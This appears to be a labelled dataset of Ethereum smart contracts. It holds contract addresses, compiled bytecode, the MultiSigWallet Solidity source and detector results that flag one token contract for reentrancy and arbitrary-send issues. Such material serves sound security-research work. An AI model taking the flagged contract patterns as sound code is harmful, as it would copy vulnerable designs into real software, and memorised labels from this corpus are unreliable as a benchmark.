1576119f781611ca3565b60004790506000811115611a0f57611a0e47611b3a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aba5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ac457600090505b611ad084848484611f2b565b50505050565b6000838311158290611b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b159190612d31565b60405180910390fd5b5060008385611b2d91906130ca565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b8a600284611f5890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bb5573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c06600284611f5890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c31573d6000803e3d6000fd5b5050565b6000600854821115611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390612d73565b60405180910390fd5b6000611c86611fa2565b9050611c9b8184611f5890919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cdb57611cda61329f565b5b604051908082528060200260200182016040528015611d095781602001602082028036833780820191505090505b5090503081600081518110611d2157611d20613270565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dc357600080fd5b505afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb919061279b565b81600181518110611e0f57611e0e613270565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e7630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611253565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611eda959493929190612ece565b600060405180830381600087803b158015611ef457600080fd5b505af1158015611f08573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611f3957611f38611fcd565b5b611f44848484612010565b80611f5257611f516121db565b5b50505050565b6000611f9a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ef565b905092915050565b6000806000611faf612252565b91509150611fc68183611f5890919063ffffffff16565b9250505090565b6000600a54148015611fe157506000600b54145b15611feb5761200e565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080612022876122b1565b95509550955095509550955061208086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612161816123c1565b61216b848361247e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121c89190612eb3565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b60008083118290612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d9190612d31565b60405180910390fd5b5060008385612245919061303f565b9050809150509392505050565b600080600060085490506000670de0b6b36bc936009050612286670de0b6b36bc93600600854611f5890919063ffffffff16565b8210156122a457600854670de0b6b36bc936009350935050506122ad565b81819350935050505b9091565b60008060008060008060008060006122ce8a600a54600b546124b8565b92509250925060006122de611fa2565b905060008060006122f18e87878761254e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad6565b905092915050565b60008082846123729190612fe9565b9050838110156123b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ae90612db3565b60405180910390fd5b8091505092915050565b60006123cb611fa2565b905060006123e282846125d790919063ffffffff16565b905061243681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124938260085461231990919063ffffffff16565b6008819055506124ae8160095461236390919063ffffffff16565b6009819055505050565b6000806000806124e460646124d6888a6125d790919063ffffffff16565b611f5890919063ffffffff16565b9050600061250e6064612500888b6125d790919063ffffffff16565b611f5890919063ffffffff16565b9050600061253782612529858c61231990919063ffffffff16565b61231990919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061256785896125d790919063ffffffff16565b9050600061257e86896125d790919063ffffffff16565b9050600061259587896125d790919063ffffffff16565b905060006125be826125b0858761231990919063ffffffff16565b61231990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125ea576000905061264c565b600082846125f89190613070565b9050828482612607919061303f565b14612647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263e90612df3565b60405180910390fd5b809150505b92915050565b600061266561266084612f68565b612f43565b90508083825260208201905082856020860282011115612688576126876132d3565b5b60005b858110156126b8578161269e88826126c2565b84526020840193506020830192505060018101905061268b565b5050509392505050565b6000813590506126d1816135c0565b92915050565b6000815190506126e6816135c0565b92915050565b600082601f830112612701576127006132ce565b5b8135612711848260208601612652565b91505092915050565b600081359050612729816135d7565b92915050565b60008151905061273e816135d7565b92915050565b600081359050612753816135ee565b92915050565b600081519050612768816135ee565b92915050565b600060208284031215612784576127836132dd565b5b6000612792848285016126c2565b91505092915050565b6000602082840312156127b1576127b06132dd565b5b60006127bf848285016126d7565b91505092915050565b600080604083850312156127df576127de6132dd565b5b60006127ed858286016126c2565b92505060206127fe858286016126c2565b9150509250929050565b600080600060608486031215612821576128206132dd565b5b600061282f868287016126c2565b9350506020612840868287016126c2565b925050604061285186828701612744565b9150509250925092565b60008060408385031215612872576128716132dd565b5b6000612880858286016126c2565b925050602061289185828601612744565b9150509250929050565b6000602082840312156128b1576128b06132dd565b5b600082013567ffffffffffffffff8111156128cf576128ce6132d8565b5b6128db848285016126ec565b91505092915050565b6000602082840312156128fa576128f96132dd565b5b60006129088482850161271a565b91505092915050565b600060208284031215612927576129266132dd565b5b60006129358482850161272f565b91505092915050565b600060208284031215612954576129536132dd565b5b600061296284828501612744565b91505092915050565b600080600060608486031215612984576129836132dd565b5b600061299286828701612759565b93505060206129a386828701612759565b92505060406129b486828701612759565b9150509250925092565b60006129ca83836129d6565b60208301905092915050565b6129df816130fe565b82525050565b6129ee816130fe565b82525050565b60006129ff82612fa4565b612a098185612fc7565b9350612a1483612f94565b8060005b83811015612a45578151612a2c88826129be565b9750612a3783612fba565b925050600181019050612a18565b5085935050505092915050565b612a5b81613110565b82525050565b612a6a81613153565b82525050565b6000612a7b82612faf565b612a858185612fd8565b9350612a95818560208601613165565b612a9e816132e2565b840191505092915050565b6000612ab6602383612fd8565b9150612ac1826132f3565b604082019050919050565b6000612ad9602a83612fd8565b9150612ae482613342565b604082019050919050565b6000612afc602283612fd8565b9150612b0782613391565b604082019050919050565b6000612b1f601b83612fd8565b9150612b2a826133e0565b602082019050919050565b6000612b42601d83612fd8565b9150612b4d82613409565b602082019050919050565b6000612b65602183612fd8565b9150612b7082613432565b604082019050919050565b6000612b88602083612fd8565b9150612b9382613481565b602082019050919050565b6000612bab602983612fd8565b9150612bb6826134aa565b604082019050919050565b6000612bce602583612fd8565b9150612bd9826134f9565b604082019050919050565b6000612bf1602483612fd8565b9150612bfc82613548565b604082019050919050565b6000612c14601783612fd8565b9150612c1f82613597565b602082019050919050565b612c338161313c565b82525050565b612c4281613146565b82525050565b6000602082019050612c5d60008301846129e5565b92915050565b6000604082019050612c7860008301856129e5565b612c8560208301846129e5565b9392505050565b6000604082019050612ca160008301856129e5565b612cae6020830184612c2a565b9392505050565b600060c082019050612cca60008301896129e5565b612cd76020830188612c2a565b612ce46040830187612a61565b612cf16060830186612a61565b612cfe60808301856129e5565b612d0b60a0830184612c2a565b979650505050505050565b6000602082019050612d2b6000830184612a52565b92915050565b60006020820190508181036000830152612d4b8184612a70565b905092915050565b60006020820190508181036000830152612d6c81612aa9565b9050919050565b60006020820190508181036000830152612d8c81612acc565b9050919050565b60006020820190508181036000830152612dac81612aef565b9050919050565b60006020820190508181036000830152612dcc81612b12565b9050919050565b60006020820190508181036000830152612dec81612b35565b9050919050565b60006020820190508181036000830152612e0c81612b58565b9050919050565b60006020820190508181036000830152612e2c81612b7b565b9050919050565b60006020820190508181036000830152612e4c81612b9e565b9050919050565b60006020820190508181036000830152612e6c81612bc1565b9050919050565b60006020820190508181036000830152612e8c81612be4565b9050919050565b60006020820190508181036000830152612eac81612c07565b9050919050565b6000602082019050612ec86000830184612c2a565b92915050565b600060a082019050612ee36000830188612c2a565b612ef06020830187612a61565b8181036040830152612f0281866129f4565b9050612f1160608301856129e5565b612f1e6080830184612c2a565b9695505050505050565b6000602082019050612f3d6000830184612c39565b92915050565b6000612f4d612f5e565b9050612f598282613198565b919050565b6000604051905090565b600067ffffffffffffffff821115612f8357612f8261329f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ff48261313c565b9150612fff8361313c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561303457613033613212565b5b828201905092915050565b600061304a8261313c565b91506130558361313c565b92508261306557613064613241565b5b828204905092915050565b600061307b8261313c565b91506130868361313c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130bf576130be613212565b5b828202905092915050565b60006130d58261313c565b91506130e08361313c565b9250828210156130f3576130f2613212565b5b828203905092915050565b60006131098261311c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061315e8261313c565b9050919050565b60005b83811015613183578082015181840152602081019050613168565b83811115613192576000848401525b50505050565b6131a1826132e2565b810181811067ffffffffffffffff821117156131c0576131bf61329f565b5b80604052505050565b60006131d48261313c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320757613206613212565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135c9816130fe565b81146135d457600080fd5b50565b6135e081613110565b81146135eb57600080fd5b50565b6135f78161313c565b811461360257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205450c82494f77a4e365eecda1346913020dc2353b36c9994ba4aa949b5ee238164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,343
0x6563189c039f793372642f2a795e851da1091da5
pragma solidity 0.4.4; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction tx = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { tx.executed = true; if (!confirmed) spentToday += tx.value; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; if (!confirmed) spentToday -= tx.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; return dailyLimit - spentToday; } }
0x606060405236156100fb5760e060020a6000350463025e7c278114610149578063173825d91461017b57806320ea8d86146101a85780632f54bf6e146101dc5780633411c81c146101fc57806354741525146102295780637065cb481461029d578063784547a7146102c85780638b51d13f146102d85780639ace38c21461034c578063a0e67e2b14610387578063a8abe69a146103f6578063b5dc40c3146104d5578063b77bf600146105e1578063ba51a6df146105ef578063c01a8c841461061b578063c64274741461062b578063d74f8edd1461069c578063dc8452cd146106a9578063e20056e6146106b7578063ee22610b146106e7575b6106f7600034111561014757604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b565b34610002576106f960043560038054829081101561000257600091825260209091200154600160a060020a0316905081565b34610002576106f7600435600030600160a060020a031633600160a060020a031614151561095757610002565b34610002576106f7600435600160a060020a033390811660009081526002602052604090205460ff161515610b9d57610002565b346100025761071560043560026020526000908152604090205460ff1681565b34610002576001602090815260043560009081526040808220909252602435815220546107159060ff1681565b34610002576107296004356024356000805b600554811015610c4c57838015610264575060008181526020819052604090206003015460ff16155b806102885750828015610288575060008181526020819052604090206003015460ff165b1561029557600191909101905b60010161023b565b34610002576106f760043530600160a060020a031633600160a060020a0316141515610c5357610002565b3461000257610715600435610740565b34610002576107296004356000805b600354811015610d83576000838152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561034457600191909101905b6001016102e7565b3461000257600060208190526004358152604090208054600182015460038301546107b893600160a060020a03909316926002019060ff1684565b34610002576040805160208082018352600082526003805484518184028101840190955280855261086294928301828280156103ec57602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116103ce575b5050505050905090565b346100025761086260043560243560443560643560408051602081810183526000808352835191820184528082526005549351929391929091829180591061043b5750595b908082528060200260200182016040528015610452575b509250600091508190505b600554811015610d8957858015610486575060008181526020819052604090206003015460ff16155b806104aa57508480156104aa575060008181526020819052604090206003015460ff165b156104cd5780838381518110156100025760209081029091010152600191909101905b60010161045d565b34610002576108626004356040805160208181018352600080835283519182018452808252600354935192939192909182918059106105115750595b908082528060200260200182016040528015610528575b509250600091508190505b600354811015610dfe576000858152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156105d957600380548290811015610002576000918252602090912001548351600160a060020a03909116908490849081101561000257600160a060020a03909216602092830290910190910152600191909101905b600101610533565b346100025761072960055481565b34610002576106f76004355b30600160a060020a031633600160a060020a0316141515610e7a57610002565b34610002576106f76004356108b3565b3461000257604080516020600460443581810135601f810184900484028501840190955284845261072994823594602480359560649492939190920191819084018382808284375094965050505050505060006108ac848484600083600160a060020a0381161515610ad857610002565b3461000257610729603281565b346100025761072960045481565b34610002576106f7600435602435600030600160a060020a031633600160a060020a0316141515610f4557610002565b34610002576106f7600435610936565b005b60408051600160a060020a039092168252519081900360200190f35b604080519115158252519081900360200190f35b60408051918252519081900360200190f35b6110b8835b600080805b6003548110156107b1576000848152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156107a257600191909101905b600454821415610d7b57600192505b5050919050565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b50509550505050505060405180910390f35b60405180806020018281038252838181518152602001915080519060200190602002808383829060006004602084601f0104600302600f01f1509050019250505060405180910390f35b9050610f3e815b33600160a060020a03811660009081526002602052604090205460ff161515610ee557610002565b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610c45855b600081815260208190526040812060030154829060ff161561073b57610002565b600160a060020a038216600090815260026020526040902054829060ff16151561098057610002565b600160a060020a0383166000908152600260205260408120805460ff1916905591505b60035460001901821015610a455782600160a060020a0316600360005083815481101561000257600091825260209091200154600160a060020a03161415610aaf57600380546000198101908110156100025760009182526020909120015460038054600160a060020a039092169184908110156100025760009182526020909120018054600160a060020a031916606060020a928302929092049190911790555b600380546000198101808355919082908015829011610aba57600083815260209020610aba918101908301610b85565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25b505050565b6001909101906109a3565b505060035460045411159150610a75905057600354610a75906105fb565b60055460408051608081018252878152602080820188815282840188815260006060850181905286815280845294852084518154606060020a91820291909104600160a060020a031990911617815591516001808401919091559051805160028085018054818a5298879020999b5096989497601f948116156101000260001901160483018590048401949093929101908390106111ef57805160ff19168380011785555b5061121f9291505b80821115610b995760008155600101610b85565b5090565b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff161515610bd257610002565b600084815260208190526040902060030154849060ff1615610bf357610002565b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b5050505050565b5092915050565b600160a060020a038116600090815260026020526040902054819060ff1615610c7b57610002565b81600160a060020a0381161515610c9157610002565b6003546004546001909101906032821180610cab57508181115b80610cb4575080155b80610cbd575081155b15610cc757610002565b600160a060020a0385166000908152600260205260409020805460ff19166001908117909155600380549182018082559091908281838015829011610d1d57600083815260209020610d1d918101908301610b85565b50505060009283525060208220018054600160a060020a031916606060020a88810204179055604051600160a060020a038716917ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d91a25050505050565b600101610745565b50919050565b878703604051805910610d995750595b908082528060200260200182016040528015610db0575b5093508790505b86811015610df3578281815181101561000257906020019060200201518489830381518110156100025760209081029091010152600101610db7565b505050949350505050565b81604051805910610e0c5750595b908082528060200260200182016040528015610e23575b509350600090505b81811015610e72578281815181101561000257906020019060200201518482815181101561000257600160a060020a03909216602092830290910190910152600101610e2b565b505050919050565b600354816032821180610e8c57508181115b80610e95575080155b80610e9e575081155b15610ea857610002565b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b6000828152602081905260409020548290600160a060020a03161515610f0a57610002565b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16156108db57610002565b9392505050565b600160a060020a038316600090815260026020526040902054839060ff161515610f6e57610002565b600160a060020a038316600090815260026020526040902054839060ff1615610f9657610002565b600092505b6003548310156110135784600160a060020a0316600360005084815481101561000257600091825260209091200154600160a060020a031614156110ad578360036000508481548110156100025760009182526020909120018054600160a060020a031916606060020a928302929092049190911790555b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600190920191610f9b565b15610aaa576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111665780601f1061113b57610100808354040283529160200191611166565b820191906000526020600020905b81548152906001019060200180831161114957829003601f168201915b505091505060006040518083038185876185025a03f192505050156111b55760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2610aaa565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a250600301805460ff1916905550565b82800160010185558215610b7d579182015b82811115610b7d578251826000505591602001919060010190611201565b5050606091909101516003909101805460ff191660f860020a9283029290920491909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a250939250505056
{"success": true, "error": null, "results": {}}
1,344
0x9f70577dac489134fd74da62e909a9fd55ebaf88
